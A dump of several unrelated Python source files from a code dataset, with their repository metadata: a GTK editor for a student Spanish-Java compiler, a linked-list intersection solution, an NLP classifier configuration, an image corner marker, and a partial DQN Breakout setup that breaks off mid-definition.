self.set_color(color)\n\n def set_color(self, color: Color):\n if color == self.Color.VERDE:\n self.set_draw_func(self.dibujar_sem_verde, None)\n elif color == self.Color.AMARILLO:\n self.set_draw_func(self.dibujar_sem_amarillo, None)\n elif color == self.Color.ROJO:\n self.set_draw_func(self.dibujar_sem_rojo, None)\n else:\n self.set_draw_func(self.dibujar_sem_ninguno, None)\n\n def dibujar_sem_common(self, c, color: Color): \n # Verde\n if color == self.Color.VERDE:\n c.set_source_rgba(0, 1, 0, 1)\n else:\n c.set_source_rgba(0, 1, 0, 0.2)\n c.set_line_width(16)\n c.arc(20, 20, 8, 0, 2 * math.pi)\n c.stroke()\n\n # Amarillo\n if color == self.Color.AMARILLO:\n c.set_source_rgba(1, 1, 0, 1)\n else:\n c.set_source_rgba(1, 1, 0, 0.2)\n c.set_line_width(16)\n c.arc(60, 20, 8, 0, 2 * math.pi)\n c.stroke()\n\n # Rojo\n if color == self.Color.ROJO:\n c.set_source_rgba(1, 0, 0, 1)\n else:\n c.set_source_rgba(1, 0, 0, 0.2)\n c.set_line_width(16)\n c.arc(100, 20, 8, 0, 2 * math.pi)\n c.stroke()\n\n def dibujar_sem_verde(self, area, c, w, h, data):\n self.dibujar_sem_common(c, self.Color.VERDE)\n\n def dibujar_sem_amarillo(self, area, c, w, h, data):\n self.dibujar_sem_common(c, self.Color.AMARILLO)\n\n def dibujar_sem_rojo(self, area, c, w, h, data):\n self.dibujar_sem_common(c, self.Color.ROJO)\n\n def dibujar_sem_ninguno(self, area, c, w, h, data):\n self.dibujar_sem_common(c, self.Color.NINGUNO)\n\nclass MainWindow(Gtk.ApplicationWindow):\n input_file = None\n output_file = None\n \n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n self.set_title('Javañol RGG edition')\n self.set_icon_name('text-editor')\n self.set_default_size(800, 600)\n\n self.grid = Gtk.Grid()\n self.set_child(self.grid)\n\n self.crear_headerbar()\n self.crear_textview()\n self.crear_area_mensajes()\n self.crear_panel_lateral()\n\n def crear_headerbar(self):\n header = Gtk.HeaderBar()\n self.set_titlebar(header)\n\n self.open_button = Gtk.Button(label='Abrir')\n self.open_button.set_icon_name('document-open-symbolic')\n self.open_button.connect('clicked', self.abrir_archivo)\n header.pack_start(self.open_button)\n \n self.save_button = Gtk.Button(label='Guardar')\n self.save_button.set_icon_name('document-save-symbolic')\n self.save_button.set_sensitive(False)\n self.save_button.connect('clicked', self.guardar_archivo)\n header.pack_start(self.save_button)\n\n self.crear_menu(header)\n \n self.run_button = Gtk.Button(label='Ejecutar')\n self.run_button.set_icon_name('media-playback-start-symbolic')\n self.run_button.set_sensitive(False)\n self.run_button.connect('clicked', self.correr)\n header.pack_end(self.run_button) \n\n def crear_menu(self, header):\n action_help = Gio.SimpleAction.new('help', None)\n action_help.connect('activate', self.mostrar_help)\n self.add_action(action_help)\n \n action_about = Gio.SimpleAction.new('about', None)\n action_about.connect('activate', self.mostrar_about)\n self.add_action(action_about)\n\n menu = Gio.Menu.new()\n menu.append('Ayuda', 'win.help')\n menu.append('Acerca de', 'win.about')\n\n popover = Gtk.PopoverMenu()\n popover.set_menu_model(menu)\n\n hamburger = Gtk.MenuButton()\n hamburger.set_popover(popover)\n hamburger.set_icon_name('open-menu-symbolic')\n\n header.pack_end(hamburger) \n\n def crear_textview(self):\n scrolled_win = Gtk.ScrolledWindow()\n scrolled_win.set_hexpand(True)\n scrolled_win.set_vexpand(True)\n self.grid.attach(scrolled_win, 0, 0, 1, 1)\n\n self.sourcebuf = GtkSource.Buffer()\n self.sourcebuf.connect('changed', self.edito_codigo)\n self.sourceview = GtkSource.View.new_with_buffer(self.sourcebuf)\n self.sourceview.set_show_line_numbers(True)\n self.sourceview.set_auto_indent(True)\n self.sourceview.set_indent_width(4)\n self.sourceview.set_insert_spaces_instead_of_tabs(True)\n self.sourceview.set_smart_backspace(True)\n \n scrolled_win.set_child(self.sourceview)\n\n def crear_area_mensajes(self):\n notebook = Gtk.Notebook()\n self.grid.attach(notebook, 0, 1, 2, 1)\n\n scrolled = Gtk.ScrolledWindow()\n scrolled.set_hexpand(True)\n scrolled.set_min_content_height(150)\n \n self.msgbuf = GtkSource.Buffer()\n self.msgview = GtkSource.View.new_with_buffer(self.msgbuf)\n self.msgview.set_editable(False)\n scrolled.set_child(self.msgview)\n notebook.append_page(scrolled, Gtk.Label.new('Mensajes'))\n\n def crear_panel_lateral(self):\n notebook = Gtk.Notebook()\n self.grid.attach(notebook, 1, 0, 1, 1)\n \n self.crear_tabla_simbolos(notebook)\n self.crear_semaforo(notebook)\n\n def crear_tabla_simbolos(self, notebook):\n scrolled = Gtk.ScrolledWindow()\n scrolled.set_vexpand(True)\n scrolled.set_min_content_width(300)\n\n self.tablagrid = Gtk.Grid()\n self.tablagrid.set_vexpand(True)\n self.tablagrid.set_row_spacing(8)\n self.tablagrid.set_column_spacing(8)\n self.tablagrid.set_margin_top(8)\n self.tablagrid.set_margin_start(8)\n self.tablagrid.set_margin_end(8)\n self.tablagrid.set_margin_bottom (8)\n scrolled.set_child(self.tablagrid)\n notebook.append_page(scrolled, Gtk.Label.new('Símbolos'))\n\n def crear_semaforo(self, notebook):\n semgrid = Gtk.Grid()\n semgrid.set_row_spacing(8)\n semgrid.set_column_spacing(8)\n semgrid.set_margin_top(8)\n semgrid.set_margin_start(8)\n semgrid.set_margin_end(8)\n semgrid.set_margin_bottom (8)\n \n semgrid.attach(Gtk.Label.new('Léxico'), 0, 0, 1, 1)\n semgrid.attach(Gtk.Label.new('Sintáctico'), 0, 1, 1, 1)\n semgrid.attach(Gtk.Label.new('Semántico'), 0, 2, 1, 1)\n \n self.sem_lexico = Semaforo()\n self.sem_sintactico = Semaforo()\n self.sem_semantico = Semaforo()\n semgrid.attach(self.sem_lexico, 1, 0, 1, 1)\n semgrid.attach(self.sem_sintactico, 1, 1, 1, 1)\n semgrid.attach(self.sem_semantico, 1, 2, 1, 1)\n\n self.btn_lexico = Gtk.Button(label='Análisis léxico')\n self.btn_lexico.set_icon_name('media-playback-start-symbolic')\n self.btn_lexico.set_sensitive(False)\n self.btn_lexico.connect('clicked', self.analisis_lexico)\n\n self.btn_sintactico = Gtk.Button(label='Análisis sintáctico')\n self.btn_sintactico.set_icon_name('media-playback-start-symbolic')\n self.btn_sintactico.set_sensitive(False)\n self.btn_sintactico.connect('clicked', self.analisis_sintactico)\n\n self.btn_semantico = Gtk.Button(label='Análisis semántico')\n self.btn_semantico.set_icon_name('media-playback-start-symbolic')\n self.btn_semantico.set_sensitive(False)\n self.btn_semantico.connect('clicked', self.analisis_semantico)\n\n semgrid.attach(self.btn_lexico, 2, 0, 1, 1);\n semgrid.attach(self.btn_sintactico, 2, 1, 1, 1);\n semgrid.attach(self.btn_semantico, 2, 2, 1, 1);\n \n notebook.append_page(semgrid, Gtk.Label.new('Semáforo'))\n\n def edito_codigo(self, buffer):\n self.reset_semaforos()\n\n def abrir_archivo(self, button):\n self.open_dialog = Gtk.FileChooserNative.new(\n title='Abrir archivo',\n parent=self,\n action=Gtk.FileChooserAction.OPEN)\n self.open_dialog.connect('response', self.abrio_archivo)\n self.open_dialog.show()\n\n def abrio_archivo(self, dialog, response):\n if response == Gtk.ResponseType.ACCEPT:\n file = dialog.get_file()\n self.input_file = file.get_path()\n self.output_file = self.input_file + '.exe'\n with open(self.input_file) as f:\n data = f.read()\n self.sourcebuf.set_text(data)\n self.save_button.set_sensitive(True)\n self.run_button.set_sensitive(True)\n self.btn_lexico.set_sensitive(True)\n self.sem_lexico.set_color(Semaforo.Color.AMARILLO)\n\n def guardar_archivo(self, button):\n if self.input_file:\n start = self.sourcebuf.get_start_iter()\n end = self.sourcebuf.get_end_iter()\n data = self.sourcebuf.get_text(start, end, False)\n with open(self.input_file, 'r+') as f:\n f.truncate(0)\n f.write(data)\n\n def mostrar_help(self, action, param):\n url = 'file://' + os.getcwd() + '/../docs/index.html'\n webbrowser.open(url)\n\n def mostrar_about(self, action, param):\n self.about_dialog = Gtk.AboutDialog()\n self.about_dialog.set_transient_for(self)\n self.about_dialog.set_modal(self)\n\n self.about_dialog.set_comments(\n '''Materia: Lenguajes y Autómatas 2\nProfesor: I.S.C. Ricardo González González\nTecnológico Nacional de México en Celaya''')\n self.about_dialog.set_authors([\n \"Iván Alejandro Ávalos Díaz (18032572)\",\n \"Edgar Alexis López Martínez (18030817)\"\n ])\n self.about_dialog.set_license(\n '''Copyright (C) 2022 Iván Alejandro Ávalos Díaz ,\n Edgar Alexis López Martínez \n\nThis program is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program. If not, see .\n ''')\n gfile = Gio.File.new_for_path('credits.png')\n logo = Gdk.Texture.new_from_file(gfile)\n self.about_dialog.set_logo(logo)\n self.about_dialog.show()\n\n def analisis_lexico(self, button):\n self.guardar_archivo(None)\n self.limpiar_tabla()\n self.reset_semaforos()\n result = subprocess.run([\n 'python', compilador_dir,\n '-i', self.input_file,\n '-o', self.output_file,\n '-l'\n ], stdout=subprocess.PIPE, stderr=subprocess.STDOUT)\n output = result.stdout.decode('utf-8')\n self.msgbuf.set_text(output)\n\n if result.returncode == 0:\n self.sem_lexico.set_color(Semaforo.Color.VERDE)\n self.sem_sintactico.set_color(Semaforo.Color.AMARILLO)\n self.btn_sintactico.set_sensitive(True)\n self.llenar_tabla()\n else:\n self.sem_lexico.set_color(Semaforo.Color.ROJO)\n\n def analisis_sintactico(self, button):\n self.limpiar_tabla()\n self.sem_semantico.set_color(Semaforo.Color.NINGUNO)\n self.btn_semantico.set_sensitive(False)\n result = subprocess.run([\n 'python', compilador_dir,\n '-i', self.input_file,\n '-o', self.output_file,\n '-p'\n ], stdout=subprocess.PIPE, stderr=subprocess.STDOUT)\n output = result.stdout.decode('utf-8')\n self.msgbuf.set_text(output)\n\n if result.returncode == 0:\n self.sem_sintactico.set_color(Semaforo.Color.VERDE)\n self.sem_semantico.set_color(Semaforo.Color.AMARILLO)\n self.btn_semantico.set_sensitive(True)\n self.llenar_tabla()\n webbrowser.open ('file://' + self.input_file + '.gv.pdf')\n else:\n self.sem_sintactico.set_color(Semaforo.Color.ROJO)\n self.btn_sintactico.set_sensitive(False)\n\n def analisis_semantico(self, button):\n self.limpiar_tabla()\n result = subprocess.run([\n 'python', compilador_dir,\n '-i', self.input_file,\n '-o', self.output_file,\n '-s'\n ], stdout=subprocess.PIPE, stderr=subprocess.STDOUT)\n output = result.stdout.decode('utf-8')\n self.msgbuf.set_text(output)\n\n if result.returncode == 0:\n self.sem_semantico.set_color(Semaforo.Color.VERDE)\n self.llenar_tabla()\n else:\n self.sem_semantico.set_color(Semaforo.Color.ROJO)\n\n def correr(self, button):\n self.guardar_archivo(None)\n self.reset_semaforos()\n self.limpiar_tabla()\n result = subprocess.run([\n 'python', compilador_dir,\n '-i', self.input_file,\n '-o', self.output_file,\n '-t'\n ], stdout=subprocess.PIPE, stderr=subprocess.STDOUT)\n output = result.stdout.decode('utf-8')\n self.msgbuf.set_text(output)\n\n if result.returncode == 0:\n self.llenar_tabla()\n webbrowser.open('file://' + self.input_file + '.gv.pdf')\n\n def limpiar_tabla(self):\n for i in range(4):\n self.tablagrid.remove_column(0)\n\n def llenar_tabla(self):\n with open(self.input_file + '.tab', 'r') as f:\n data = f.read()\n tabla = json.loads(data)\n label_linea = Gtk.Label.new(None)\n label_linea.set_markup('Línea')\n label_nombre = Gtk.Label.new(None)\n label_nombre.set_markup('Nombre')\n label_valor = Gtk.Label.new(None)\n label_valor.set_markup('Valor')\n label_tipo = Gtk.Label.new(None)\n label_tipo.set_markup('Tipo')\n self.tablagrid.attach(label_linea, 0, 0, 1, 1)\n self.tablagrid.attach(label_tipo, 1, 0, 1, 1)\n self.tablagrid.attach(label_nombre, 2, 0, 1, 1)\n self.tablagrid.attach(label_valor, 3, 0, 1, 1)\n for i, t in enumerate(tabla):\n row = i + 1\n self.tablagrid.attach(Gtk.Label.new(str(t['numlinea'])), 0, row, 1, 1)\n self.tablagrid.attach(Gtk.Label.new(t['tipo']), 1, row, 1, 1)\n self.tablagrid.attach(Gtk.Label.new(t['nombre']), 2, row, 1, 1)\n self.tablagrid.attach(Gtk.Label.new(str(t['valor'])), 3, row, 1, 1)\n\n def reset_semaforos(self):\n if self.input_file:\n self.sem_lexico.set_color(Semaforo.Color.AMARILLO)\n self.btn_lexico.set_sensitive(True)\n else:\n self.sem_lexico.set_color(Semaforo.Color.NINGUNO)\n self.btn_lexico.set_sensitive(False)\n self.sem_sintactico.set_color(Semaforo.Color.NINGUNO)\n self.btn_sintactico.set_sensitive(False)\n self.sem_semantico.set_color(Semaforo.Color.NINGUNO)\n self.btn_semantico.set_sensitive(False)\n\ndef on_activate(app):\n win = MainWindow()\n win.connect('destroy', Gtk.main_quit)\n win.present()\n\nclass App(Adw.Application):\n\n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n\n GLib.set_application_name(\"Javañol RGG edition\")\n\n # Estilos CSS\n css_provider = Gtk.CssProvider()\n css_provider.load_from_file(\n Gio.File.new_for_path('main.css'))\n Gtk.StyleContext.add_provider_for_display(\n Gdk.Display.get_default(),\n css_provider,\n Gtk.STYLE_PROVIDER_PRIORITY_APPLICATION)\n \n self.connect('activate', self.on_activate)\n\n def on_activate(self, app):\n self.win = MainWindow(application=app)\n self.win.present()\n\nif __name__ == \"__main__\":\n app = App(application_id='mx.rgg.spanishjava')\n app.run(sys.argv)\n","repo_name":"ivan-avalos/spanish-java","sub_path":"interfaz/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":16611,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"41693701316","text":"# -*- coding: utf-8 -*-\n\"\"\"\n CreatedDate: 2022-04-01\n FileName : getIntersectionNode.py\n Author : Honghe\n Descreption: 剑指 Offer 52. 两个链表的第一个公共节点\n\"\"\"\n\nclass ListNode:\n def __init__(self, x):\n self.val = x\n self.next = None\n\nclass Solution:\n def getIntersectionNode(self, headA: ListNode, headB: ListNode) -> ListNode:\n \"\"\"\n 两种方案:\n 1、交叉遍历,A遍历完了就遍历B,B遍历完了遍历A,则两个相等的节点就是相遇的点\n 2、首尾相连,构成环\n :param headA:\n :param headB:\n :return:\n \"\"\"\n if not (headA and headB):\n return None\n pos1 = headA\n pos2 = headB\n count1 = 0\n count2 = 0\n while pos1 and pos2:\n if pos1==pos2:\n return pos1\n pos1 = pos1.next\n pos2 = pos2.next\n if not pos1:\n if count1==0:\n pos1 = headB\n count1+=1\n else:\n return None\n if not pos2:\n if count2==0:\n count2+=1\n pos2 = headA\n else:\n return None\n\n\n return None\n\n def getIntersectionNode2(self, headA: ListNode, headB: ListNode) -> ListNode:\n \"\"\"\n 两种方案:\n 1、交叉遍历,A遍历完了就遍历B,B遍历完了遍历A,则两个相等的节点就是相遇的点\n 2、首尾相连,构成环\n :param headA:\n :param headB:\n :return:\n \"\"\"\n if not (headA and headB):\n return None\n pos1 = headA\n pos2 = headB\n\n while pos1 != pos2:\n pos1 = pos1.next if pos1 else headB\n pos2 = pos2.next if pos2 else headA\n return pos1\n\n\n\n\n\n","repo_name":"whan2013xh/leetcode300","sub_path":"src/offer/day12/getIntersectionNode.py","file_name":"getIntersectionNode.py","file_ext":"py","file_size_in_byte":1892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"11966554533","text":"import utils\nimport numpy as np\nimport datetime\n\n\nclass Config():\n def load_datasets(self):\n # Train set\n self.train = self.build_dataset(pos=self.train[\"pos\"], neg=self.train[\"neg\"])\n self.train = utils.shuffle(self.train)\n\n # Test sets\n if not self.test == None:\n test = self.test\n self.test = []\n for pos, neg in zip(test[\"pos\"], test[\"neg\"]):\n self.test.append(self.build_dataset(pos=pos, neg=neg))\n\n def pad(self, dataset, labels=True):\n def add_padding(words, pad, chars=None, charpad=None):\n # Need to store the real word length if we are using chars\n word_length = []\n # For each sentence\n for i in range(len(words)):\n words[i] = (list(words[i]) + [0] * pad)[:pad]\n if not len(chars) == 0:\n wlen = []\n chars[i] = (list(chars[i]) + [[0]] * pad)[:pad]\n for j in range(len(chars[i])):\n wlen.append(len(chars[i][j]))\n chars[i][j] = (chars[i][j] + ([0] * charpad))[:charpad]\n word_length.append(wlen)\n return words, zip(chars, word_length)\n\n # We will return the data separated, ready to be fed\n tensor_words = []\n sentence_length = []\n tensor_chars = []\n\n maxlen_sentence = 0\n maxlen_word = 0\n\n if labels:\n text, labels = zip(*dataset)\n else:\n text = dataset\n\n for line in text:\n sentence_length.append(len(line))\n if len(line) > maxlen_sentence:\n maxlen_sentence = len(line)\n if self.use_chars:\n words, chars = zip(*line)\n local_maxlen_word = (max(len(c) for c in chars))\n # Maximum sentence length is already doen above, now we need\n # max word length\n if local_maxlen_word > maxlen_word:\n maxlen_word = local_maxlen_word\n tensor_chars.append(chars)\n else:\n # Convinience...\n words = line\n tensor_words.append(words)\n\n tensor_words, tensor_chars = add_padding(words=tensor_words, pad=maxlen_sentence,\n chars=tensor_chars, charpad=maxlen_word)\n\n return zip(tensor_words, sentence_length), tensor_chars, labels\n\n def feed(self, model, words, labels, chars=None, dropout=1.0):\n words, sentence_length = zip(*words)\n\n feed = {\n model.word_ids: words\n }\n\n if not labels == False:\n feed[model.labels] = labels\n\n # Convolutional Neural Network\n if self.model == \"cnn\":\n if not dropout == 1.0:\n feed[model.dropout] = dropout\n\n # Recurrent Neural Network\n else:\n feed[model.sentence_lengths] = sentence_length\n\n if not dropout == 1.0:\n feed[model.char_drop_input] = dropout[\"char_input\"]\n feed[model.char_drop_state] = dropout[\"char_state\"]\n feed[model.char_drop_output] = dropout[\"char_output\"]\n feed[model.word_drop_input] = dropout[\"word_input\"]\n feed[model.word_drop_state] = dropout[\"word_state\"]\n feed[model.word_drop_output] = dropout[\"word_output\"]\n\n if self.use_chars:\n chars, word_lengths = zip(*chars)\n feed[model.char_ids] = chars\n feed[model.word_lengths] = word_lengths\n\n return feed\n\n def word_id(self, word):\n if word in self.words:\n w_id = self.words[word]\n else:\n w_id = self.words[\"\"]\n\n c_ids = []\n if self.use_chars:\n for c in word:\n if c in self.chars:\n c_ids.append(self.chars[c])\n else:\n c_ids.append(self.chars[\"\"])\n w_id = [w_id, c_ids]\n return w_id\n\n def build_dataset(self, pos, neg):\n # Check if files exist\n if not (utils.check_file(pos) and utils.check_file(neg)):\n raise Exception(\"Files \", pos, \" and \", neg, \" do not exist\")\n\n pos = list(open(pos, \"r\").readlines())\n neg = list(open(neg, \"r\").readlines())\n # TODO: Deprecate full clean\n if self.full_clean:\n pos = utils.full_clean(dataset=pos)\n neg = utils.full_clean(dataset=neg)\n # Create labels\n pos_labels = [[0, 1] for _ in pos]\n neg_labels = [[1, 0] for _ in neg]\n # Combine sets\n text = pos + neg\n labels = pos_labels + neg_labels\n # Build set\n for i, line in enumerate(text):\n text[i] = []\n line = line.strip().split(\" \")\n for w in line:\n text[i].append(self.word_id(w))\n text[i] = [text[i], labels[i]]\n\n return np.array(text)\n\n def build_vocabs(self):\n # Build the word vocab\n self.words = dict()\n\n # Assign the Unknown token\n self.words[\"\"] = 0\n\n # Build the character vocab\n if self.use_chars:\n self.chars = dict()\n # Assign the Unknown token\n self.chars[\"\"] = 0\n else:\n # Need to initialize the character vocab either way\n self.chars = None\n\n # If we have pretrained vectors, build them here\n if not self.pretrained == None:\n # Load the model\n print(\"USING: Pre-trained embedding vectors from %s\" % self.pretrained)\n vectors = np.load(self.pretrained)\n vectors = {key: vectors[key].item() for key in vectors}[\"embeddings\"]\n # To prevent mistakes regarding embedding dimensions, take the\n # \"first\" value in the dict and check the embedding size\n self.dim_word = len(list(vectors.values())[0])\n # Embedding matrix\n self.wordvec_matrix = []\n # vector\n self.wordvec_matrix.append(np.random.uniform(low=-0.25, high=0.25, size=self.dim_word))\n else:\n print(\"USING: Randomly initialized vectors\")\n\n # Load and join positive and negative files\n pos = list(open(self.train[\"pos\"], \"r\").readlines())\n neg = list(open(self.train[\"neg\"], \"r\").readlines())\n dset = pos + neg\n\n # If using complete clean\n if self.full_clean:\n print(\"USING: Full clean\")\n dset = utils.full_clean(dataset=dset)\n\n # If using dynamic padding\n if self.dynamic_pad:\n self.maxlen_sentence = 0\n print(\"USING: Dynamic padding\")\n else:\n self.maxlen_sentence = len(max(dset, key=len).split(\" \"))\n print(\"USING: Padding is set to a maximum of \", self.maxlen_sentence)\n\n # Build the embedding matrix\n # word and character counter\n nw, nc = 1, 1\n for line in dset:\n line = line.strip().split(\" \")\n for w in line:\n if not w in self.words:\n self.words[w] = nw\n # If using pre-trained vectors\n if not self.pretrained == None:\n # If word is in the embeddings dictionary\n if w in vectors:\n self.wordvec_matrix.append(vectors[w])\n else:\n self.wordvec_matrix.append(np.random.uniform(\n low=-0.25, high=0.25, size=self.dim_word))\n nw += 1\n if self.use_chars:\n for c in w:\n if not c in self.chars:\n self.chars[c] = nc\n nc += 1\n\n def data(self):\n infra = \"A\"\n self.train = {\n \"pos\": \"./data/d1_\" + infra + \"_pos.txt\",\n \"neg\": \"./data/d1_\" + infra + \"_neg.txt\"\n }\n self.test = {\n \"pos\": [\"./data/d2_\" + infra + \"_pos.txt\",\n \"./data/d3_\" + infra + \"_pos.txt\"],\n \"neg\": [\"./data/d2_\" + infra + \"_neg.txt\",\n \"./data/d3_\" + infra + \"_neg.txt\"]\n }\n\n def load_data(self):\n self.build_vocabs()\n self.n_words = len(self.words)\n if self.use_chars:\n self.n_chars = len(self.chars)\n self.load_datasets()\n\n def embedding(self, args):\n self.pretrained = args.embeddings\n self.non_static = True\n self.use_chars = args.chars\n self.dim_char = 300\n self.dim_word = 300\n\n def training(self, args):\n self.save = args.save\n self.full_clean = args.clean\n self.dynamic_pad = args.padding\n self.k_folds = 1\n self.test_split = 0.0\n self.n_epochs = 200\n self.batch_size = 256\n self.learning = {\n \"rate\": 0.01,\n \"method\": \"adam\",\n \"decay\": 1,\n \"decay_steps\": 10,\n \"staircase\": True\n }\n\n def cnn(self):\n print(\"USING: Convolutional Neural Network\")\n self.n_channels = 1\n self.n_filters = 300\n self.filter_sizes = [2, 3, 4, 5, 6, 7]\n self.padding = \"VALID\"\n self.fcnn_layer = []\n self.l2_reg_lambda = 0.0\n self.dropout = 0.5\n\n def rnn(self):\n print(\"USING: Recurrent Neural Network\")\n self.cells = self.model\n self.bidirectional = True\n self.cell_char = 25\n self.cell_word = 100\n self.dropout = {\n \"char_input\": 1.0,\n \"char_state\": 1.0,\n \"char_output\": 0.5,\n \"word_input\": 1.0,\n \"word_state\": 1.0,\n \"word_output\": 0.5,\n }\n\n def __init__(self, args=None, load=False):\n if not load:\n self.model = args.model\n self.embedding(args)\n self.training(args)\n self.data()\n self.load_data()\n if self.model == \"cnn\":\n self.cnn()\n elif self.model in [\"rnn\", \"lstm\", \"gru\"]:\n self.rnn()\n else:\n raise ValueError(\"No model named %s\" % self.model)\n\n else:\n print(\"Loading Model from \", args.model)\n config = np.load(args.model + \"config.npz\",allow_pickle=True)\n # Store the dir\n self.dir = args.model\n # Get the word dictionary\n self.words = {key: config[key].item() for key in config}[\"words\"]\n # Get the character dictionary\n self.chars = {key: config[key].item() for key in config}[\"chars\"]\n if self.chars == None:\n self.use_chars = False\n else:\n self.use_chars = True\n # Get other info\n self.k_folds = config[\"k_folds\"]\n self.model = config[\"model\"]\n self.save = None\n\n # TODO: Will be deprecated\n self.full_clean = False\n","repo_name":"ndionysus/twitter-cyberthreat-detection","sub_path":"class_config.py","file_name":"class_config.py","file_ext":"py","file_size_in_byte":11107,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"31"} +{"seq_id":"19682020428","text":"import numpy as np\nimport scipy as sp\nimport scipy.signal as sg\nimport matplotlib.pyplot as plt\nimport imageio as imio\nimport ShowCorners as sc\n## posr & posc == list des coordonnée des pixels coin ex:[100,105,145] [88,99,156]\n# Donc de même taille\n\ndef ShowCorners(posr, posc, im):\n\n if len(im.shape)==3:\n print(\"Must be a gray image - colored given\")\n return \n\n imResult = np.stack( (im,)*3, axis=-1) \n\n for i in range(0,len(posr)):\n r = posr[i];\n## print(r)\n c = posc[i];\n## print(c)\n for j in range(r-1,r+2):\n imResult[j][c][0]=255\n imResult[j][c][1]=0\n imResult[j][c][2]=0\n for j in range(c-1,c+2):\n imResult[r][j][0]=255\n imResult[r][j][1]=0\n imResult[r][j][2]=0\n return imResult.astype(np.uint8)\n\n########## Test #########\n\n##colored_image = imio.imread('Moire.jpg')\n##sub_defense = colored_image[::5,::5,:]\n##gray_image = np.sum(colored_image*[ 0.21, 0.72 ,0.07],axis=-1)\n##R=[100,102]\n##C=[100,102]\n##imcroix = ShowCorner(R,C,gray_image)\n##plt.figure(figsize = (5,5))\n##plt.title(\"Corner image\")\n##plt.imshow(imcroix)\n##plt.show()\n","repo_name":"AurelienDurand/Gestion_Projet_et_Vision_Durand_Ladjouzi_Chadee","sub_path":"Fast/ShowCorners.py","file_name":"ShowCorners.py","file_ext":"py","file_size_in_byte":1177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"11888076302","text":"import numpy as np\nimport tensorflow as tf\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation\nimport matplotlib.patches as patches\nfrom breakout_env import *\nfrom breakout_ani import *\nfrom wait import *\nfrom time import sleep\n\n## define Q network ##\nlr = 0.00025\nnh = 1000 # adjust to avoid overfitting\ndepth = 64 # number of convolution filter\n# parameters\nn_episodes = 200\nmax_steps = 200\nepsilon = 0.1 #epsilon-greedy factor\nbatch_size = 32 #size of a minibatch\ngamma = 0.99 #discount factor\nC = 100 # target network update frequency\n\nclass replayMemory:\n def __init__(self):\n self.current_size = 0\n self.arr_s = []\n self.arr_a = []\n self.arr_r = []\n self.arr_sn = []\n self.arr_term = []\n\n def store(self, s, a, r, sn, terminal):\n self.arr_s.append(s)\n self.arr_a.append(a)\n self.arr_r.append(r)\n self.arr_sn.append(sn)\n self.arr_term.append(terminal)\n self.current_size+=1\n\n def next_batch(self, batch_size):\n items = np.arange(0, self.current_size)\n if(self.current_size<=batch_size):\n index = items\n size = self.current_size\n else:\n index = np.random.choice(items, size=batch_size)\n size = batch_size\n batch_s = np.copy(np.array(self.arr_s)[index])\n batch_a = np.copy(np.array(self.arr_a)[index])\n batch_r = np.copy(np.array(self.arr_r)[index])\n batch_sn = np.copy(np.array(self.arr_sn)[index])\n batch_term = np.copy(np.array(self.arr_term)[index])\n return size, batch_s, batch_a, batch_r, batch_sn, batch_term\n\nclass minibatch: \n pass\n\n\nenv = breakout_environment(5, 8, 3, 1, 2)\n\nsess = tf.InteractiveSession()\n### define Q network ##\n#lr = 0.5 \n#nh = 100 # adjust to avoid overfitting\nni = env.ny*env.nx*env.nf # size of input vector\nno = env.na # size of output vector\n#depth = 16 # number of convolution filter\nx = tf.placeholder(tf.float32, shape=[None, ni])\ny = tf.placeholder(tf.float32, shape=[None, no])\n# Convolution layer\nx_image = tf.reshape(x, [-1, env.ny, env.nx, env.nf])\nW_conv = tf.Variable(name='W_conv', initial_value=tf.truncated_normal([2, 2, 2, depth], stddev=0.1))\nb_conv = tf.Variable(name='b_conv', initial_value=tf.truncated_normal([depth], stddev=0.1))\nh_conv = tf.nn.conv2d(x_image, W_conv, strides=[1, 1, 1, 1], padding='VALID')\nh_relu = tf.nn.relu(h_conv + b_conv)\nh_relu_flat = tf.reshape(h_relu, [-1, 7*4*depth])\n# Hidden layer\nW_h = tf.Variable(name='W_h', initial_value=tf.truncated_normal(shape=[7*4*depth, nh], stddev=0.1))\nb_h = tf.Variable(name='b_h', initial_value=tf.truncated_normal(shape=[nh], stddev=0.1))\n# W_h = tf.Variable(tf.truncated_normal(shape=[ni, nh], stddev=0.1))\n# b_h = tf.Variable(tf.truncated_normal(shape=[nh], stddev=0.1))\n# W_h = tf.Variable(tf.random_uniform(shape=[ni, nh], minval=0.0, maxval=0.5))\n# b_h = tf.Variable(tf.random_uniform(shape=[nh], minval=0.0, maxval=0.5))\nh = tf.nn.relu(tf.matmul(h_relu_flat, W_h) + b_h)\n# Output layer\nW_o = tf.Variable(name='W_o', initial_value=tf.truncated_normal(shape=[nh, no], stddev=0.1))\n#W_o = tf.Variable(name='W_o', initial_value=tf.ones(shape=[nh, no]))\nb_o = tf.Variable(name='b_o', initial_value=tf.ones(shape=[no]))\n# W_o = tf.Variable(tf.random_uniform(shape=[nh, no], minval=0.0, maxval=0.5))\n# b_o = tf.Variable(tf.random_uniform(shape=[no], minval=0.0, maxval=0.5))\nQ=tf.matmul(h, W_o)\n#Q=tf.matmul(h, W_o) + b_o\n# cost function and optimizer\ncost = tf.reduce_mean(tf.square(y-Q))\ntrain_Q = tf.train.AdamOptimizer(lr).minimize(cost)\nsess.run(tf.initialize_all_variables()) # initialize Q and Q_hat\n\n## define Q_hat network ##\nx_hat = tf.placeholder(tf.float32, shape=[None, ni])\nx_image_hat = tf.reshape(x_hat, [-1,env.ny, env.nx, env.nf])\nW_conv_hat = sess.run(W_conv)\nb_conv_hat = sess.run(b_conv)\nh_conv_hat = tf.nn.conv2d(x_image_hat, W_conv_hat, strides=[1, 1, 1, 1], padding='VALID')\nh_relu_hat = tf.nn.relu(h_conv_hat + b_conv_hat)\nh_relu_flat_hat = tf.reshape(h_relu_hat, [-1, 